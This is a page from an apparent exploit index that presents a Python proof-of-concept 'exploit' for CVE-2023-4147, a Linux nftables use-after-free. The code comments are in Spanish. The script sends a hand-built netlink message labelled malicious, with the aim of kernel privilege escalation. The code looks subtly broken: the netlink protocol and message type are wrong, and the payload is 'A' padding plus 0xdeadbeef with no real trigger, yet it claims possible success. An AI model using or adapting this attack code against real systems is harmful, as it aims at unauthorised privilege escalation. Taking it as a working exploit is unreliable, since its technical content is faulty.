4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ExploitCVE-2023-4147.py PY
import os
import ctypes
import struct

# Constantes necesarias
NETLINK_GENERIC = 16
NLM_F_REQUEST = 0x01
NLM_F_ACK = 0x04
NLM_F_CREATE = 0x400
NLM_F_EXCL = 0x200
NLMSG_NOOP = 1
NLMSG_ERROR = 2
NLMSG_DONE = 3
NLMSG_OVERRUN = 4
NFNL_SUBSYS_NFTABLES = 10
NFNL_MSG_NEWCHAIN = 0

# Funciones del sistema
libc = ctypes.CDLL('libc.so.6', use_errno=True)

def create_netlink_socket():
    """Crea un socket Netlink."""
    sock_fd = libc.socket(16, 3, NETLINK_GENERIC)
    if sock_fd < 0:
        raise RuntimeError("No se pudo crear el socket Netlink")
    return sock_fd

def send_netlink_message(sock_fd, payload):
    """Envía un mensaje Netlink especialmente diseñado."""
    nlmsg_len = len(payload) + 16  # Header Netlink
    nlmsg_type = NFNL_MSG_NEWCHAIN
    nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL
    nlmsg_seq = 1
    nlmsg_pid = os.getpid()

    nlmsg_header = struct.pack("IHHII", nlmsg_len, nlmsg_type, nlmsg_flags, nlmsg_seq, nlmsg_pid)
    message = nlmsg_header + payload

    libc.send(sock_fd, message, len(message), 0)

def trigger_vulnerability():
    """Ejecuta el exploit enviando un mensaje malicioso."""
    print("[*] Creando socket Netlink...")
    sock_fd = create_netlink_socket()

    print("[*] Construyendo carga maliciosa...")
    # Crear carga útil que manipule NFTA_RULE_CHAIN_ID
    payload = b"A" * 128  # Ajustar el tamaño según se requiera para provocar UAF
    payload += struct.pack("I", 0xdeadbeef)  # Datos maliciosos

    print("[*] Enviando mensaje Netlink...")
    send_netlink_message(sock_fd, payload)

    print("[+] Posible explotación completada. Verifique privilegios o comportamiento del sistema.")

if __name__ == "__main__":
    print("[*] Iniciando exploit PoC para CVE-2023-4147...")
    try:
        trigger_vulnerability()
    except Exception as e:
        print(f"[!] Error al ejecutar el exploit: {e}")